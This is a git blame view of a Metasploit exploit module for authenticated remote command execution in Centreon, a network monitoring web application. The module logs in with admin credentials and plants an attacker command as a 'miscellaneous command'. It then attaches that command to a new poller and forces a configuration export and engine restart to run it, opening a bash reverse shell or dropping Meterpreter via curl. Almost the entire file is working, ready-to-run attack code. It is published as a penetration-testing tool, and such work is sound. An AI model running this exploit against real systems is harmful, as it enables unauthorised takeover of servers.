Files
metasploit-gs/modules/exploits/linux/http/centreon_pollers_auth_rce.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

338 lines
10 KiB
Ruby
Raw Normal View History

2020-02-03 13:52:56 +04:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
2020-02-03 16:46:15 +04:00
include Msf::Exploit::CmdStager
2020-02-03 13:52:56 +04:00
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
2021-02-16 13:56:50 +00:00
super(
update_info(
info,
'Name' => 'Centreon Poller Authenticated Remote Command Execution',
'Description' => %q{
An authenticated user with sufficient administrative rights to manage pollers can use this functionality to
execute arbitrary commands remotely. Usually, the miscellaneous commands are used by the additional modules
(to perform certain actions), by the scheduler for data processing, etc.
This module uses this functionality to obtain a remote shell on the target.
},
'Author' => [
'Omri Baso', # discovery
'Fabien Aunay', # discovery
'mekhalleh (RAMELLA Sébastien)' # this module
2020-02-03 16:46:15 +04:00
],
2021-02-16 13:56:50 +00:00
'References' => [
['EDB', '47977']
],
'DisclosureDate' => '2020-01-27',
'License' => MSF_LICENSE,
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_CMD, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Reverse shell (In-Memory)',
{
'Platform' => 'unix',
'Type' => :cmd_unix,
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Meterpreter (Dropper)',
{
'Platform' => 'linux',
'Type' => :meterpreter,
'Arch' => ARCH_X64,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'CMDSTAGER::FLAVOR' => :curl
}
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
2020-02-03 13:52:56 +04:00
register_options([
OptString.new('PASSWORD', [true, 'The Centreon Web panel password to authenticate with']),
OptString.new('TARGETURI', [true, 'The URI of the Centreon Web panel path', '/centreon']),
OptString.new('USERNAME', [true, 'The Centreon Web panel username to authenticate with'])
])
end
def create_new_poller(poller_name, command_id)
2021-02-16 13:56:50 +00:00
params = { 'p' => '60901' }
2020-03-15 13:30:23 +04:00
2021-02-16 13:56:50 +00:00
print_status('Create new poller entry on the target.')
2020-03-15 13:30:23 +04:00
token = get_token(normalize_uri(target_uri.path, 'main.get.php'), params)
2020-02-03 13:52:56 +04:00
return false unless token
response = send_request_cgi(
'method' => 'POST',
2020-03-15 13:30:23 +04:00
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
2020-02-03 13:52:56 +04:00
'cookie' => @cookies,
'partial' => true,
2020-03-15 13:30:23 +04:00
'vars_get' => params,
'vars_post' => {
2020-02-03 13:52:56 +04:00
'name' => poller_name,
'ns_ip_address' => '127.0.0.1',
'localhost[localhost]' => '1',
'is_default[is_default]' => '0',
'remote_id' => '',
'ssh_port' => '22',
'remote_server_centcore_ssh_proxy[remote_server_centcore_ssh_proxy]' => '1',
'engine_start_command' => 'service centengine start',
'engine_stop_command' => 'service centengine stop',
'engine_restart_command' => 'service centengine restart',
'engine_reload_command' => 'service centengine reload',
'nagios_bin' => '/usr/sbin/centengine',
'nagiostats_bin' => '/usr/sbin/centenginestats',
'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata',
'broker_reload_command' => 'service cbd reload',
'centreonbroker_cfg_path' => '/etc/centreon-broker',
'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker',
'centreonbroker_logs_path' => '/var/log/centreon-broker',
'centreonconnector_path' => '',
'init_script_centreontrapd' => 'centreontrapd',
'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/',
'pollercmd[0]' => command_id,
'clone_order_pollercmd_0' => '',
'ns_activate[ns_activate]' => '1',
'submitA' => 'Save',
'id' => '',
'o' => 'a',
'centreon_token' => token
}
)
return false unless response
return true
end
2021-02-16 13:56:50 +00:00
def execute_command(command, _opts = {})
2020-02-03 13:52:56 +04:00
cmd_name = rand_text_alpha(8..42)
2021-02-16 13:56:50 +00:00
params = { 'p' => '60803', 'type' => '3' }
2020-02-03 13:52:56 +04:00
poller_name = rand_text_alpha(8..42)
## Register a miscellaneous command.
2021-02-16 13:56:50 +00:00
print_status('Upload command payload on the target.')
2020-03-15 13:30:23 +04:00
token = get_token(normalize_uri(target_uri.path, 'main.get.php'), params)
unless token
2020-03-17 12:15:06 -05:00
print_bad('Could not get the upload form token, potentially due to insufficient access rights.')
2020-03-15 13:30:23 +04:00
return false
end
2020-02-03 13:52:56 +04:00
response = send_request_cgi(
'method' => 'POST',
2020-03-15 13:30:23 +04:00
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
2020-02-03 13:52:56 +04:00
'cookie' => @cookies,
'partial' => true,
2020-03-15 13:30:23 +04:00
'vars_get' => params,
'vars_post' => {
2020-02-03 13:52:56 +04:00
'command_name' => cmd_name,
'command_type[command_type]' => '3',
'command_line' => command,
'resource' => '$CENTREONPLUGINS$',
'plugins' => '/Centreon/SNMP',
'macros' => '$ADMINEMAIL$',
'command_example' => '',
'listOfArg' => '',
'listOfMacros' => '',
'connectors' => '',
'graph_id' => '',
'command_activate[command_activate]' => '1',
'command_comment' => '',
'submitA' => 'Save',
'command_id' => '',
'type' => '3',
'o' => 'a',
'centreon_token' => token
}
)
return false unless response
## Create new poller to serve the payload.
create_new_poller(poller_name, get_command_id(cmd_name))
## Export configuration to reload to trigger the exploit.
2020-03-15 13:30:23 +04:00
poller_id = get_poller_id(poller_name)
if poller_id.nil?
print_bad('Could not trigger the vulnerability!')
2020-02-03 13:52:56 +04:00
end
2020-03-15 13:30:23 +04:00
restart_exportation(poller_id)
2020-02-03 13:52:56 +04:00
end
def get_auth
2021-02-16 13:56:50 +00:00
print_status('Sending authentication request.')
2020-02-03 13:52:56 +04:00
token = get_token(normalize_uri(target_uri.path, 'index.php'))
unless token.nil?
response = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'cookie' => @cookies,
2021-02-16 13:56:50 +00:00
'vars_post' => {
2020-02-03 13:52:56 +04:00
'useralias' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'submitLogin' => 'Connect',
'centreon_token' => token
}
)
return false unless response
2021-02-16 13:56:50 +00:00
if response.redirect? && response.headers['location'].include?('main.php')
print_good('Successfully authenticated.')
@cookies = response.get_cookies
return true
2020-02-03 13:52:56 +04:00
end
end
print_bad('Your credentials are incorrect.')
return false
end
def get_command_id(cmd_name)
response = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
'cookie' => @cookies,
'vars_get' => {
2021-02-16 13:56:50 +00:00
'p' => '60803',
'type' => '3'
2020-02-03 13:52:56 +04:00
}
)
return nil unless response
href = response.get_html_document.at("//a[contains(text(), \"#{cmd_name}\")]")['href']
return nil unless href
id = href.split('?')[1].split('&')[2].split('=')[1]
return id unless id.empty?
return nil
end
def get_poller_id(poller_name)
response = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
'cookie' => @cookies,
2021-02-16 13:56:50 +00:00
'vars_get' => { 'p' => '60901' }
2020-02-03 13:52:56 +04:00
)
return nil unless response
href = response.get_html_document.at("//a[contains(text(), \"#{poller_name}\")]")['href']
return nil unless href
id = href.split('?')[1].split('&')[2].split('=')[1]
return id unless id.empty?
return nil
end
def get_session
response = send_request_cgi(
'method' => 'HEAD',
'uri' => normalize_uri(target_uri.path, 'index.php')
)
cookies = response.get_cookies
return cookies unless cookies.empty?
end
def get_token(uri, params = {})
## Get centreon_token value.
request = {
'method' => 'GET',
'uri' => uri,
'cookie' => @cookies
}
2021-02-16 13:56:50 +00:00
request = request.merge({ 'vars_get' => params }) unless params.empty?
2020-02-03 13:52:56 +04:00
response = send_request_cgi(request)
return nil unless response
2020-03-15 13:30:23 +04:00
begin
token = response.get_html_document.at('input[@name="centreon_token"]')['value']
rescue NoMethodError
return nil
end
return token
2020-02-03 13:52:56 +04:00
end
def restart_exportation(poller_id)
2021-02-16 13:56:50 +00:00
print_status('Reload the poller to trigger exploitation.')
token = get_token(normalize_uri(target_uri.path, 'main.get.php'), { 'p' => '60902', 'poller' => poller_id })
2020-02-03 13:52:56 +04:00
2020-03-15 13:30:23 +04:00
unless token
2020-03-17 12:15:06 -05:00
print_bad('Could not get the poller form token, potentially due to insufficient access rights.')
2020-03-15 13:30:23 +04:00
return false
end
2020-02-03 16:46:15 +04:00
vprint_status(' -- Generating files.')
2020-03-15 13:30:23 +04:00
response = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'generateFiles.php'),
'cookie' => @cookies,
'vars_post' => {
'poller' => poller_id,
'debug' => 'true',
'generate' => 'true'
}
)
return false unless response
2020-02-03 13:52:56 +04:00
2020-03-15 13:30:23 +04:00
vprint_status(' -- Restarting engine.')
response = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'),
'cookie' => @cookies,
'vars_post' => {
'poller' => poller_id,
'mode' => '2'
}
)
return false unless response
2020-02-03 13:52:56 +04:00
2020-03-15 13:30:23 +04:00
vprint_status(' -- Executing command.')
response = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'postcommand.php'),
'cookie' => @cookies,
2021-02-16 13:56:50 +00:00
'vars_post' => { 'poller' => poller_id }
2020-03-15 13:30:23 +04:00
)
return false unless response
return true
2020-02-03 13:52:56 +04:00
end
def exploit
2020-02-03 16:46:15 +04:00
@cookies = get_session
2020-02-03 13:52:56 +04:00
logged = get_auth unless @cookies.empty?
if logged
2020-02-03 16:46:15 +04:00
case target['Type']
when :cmd_unix
execute_command(payload.encoded)
when :meterpreter
2020-02-14 12:25:56 +04:00
execute_command(generate_cmdstager.join(';'))
2020-02-03 16:46:15 +04:00
end
2020-02-03 13:52:56 +04:00
end
end
end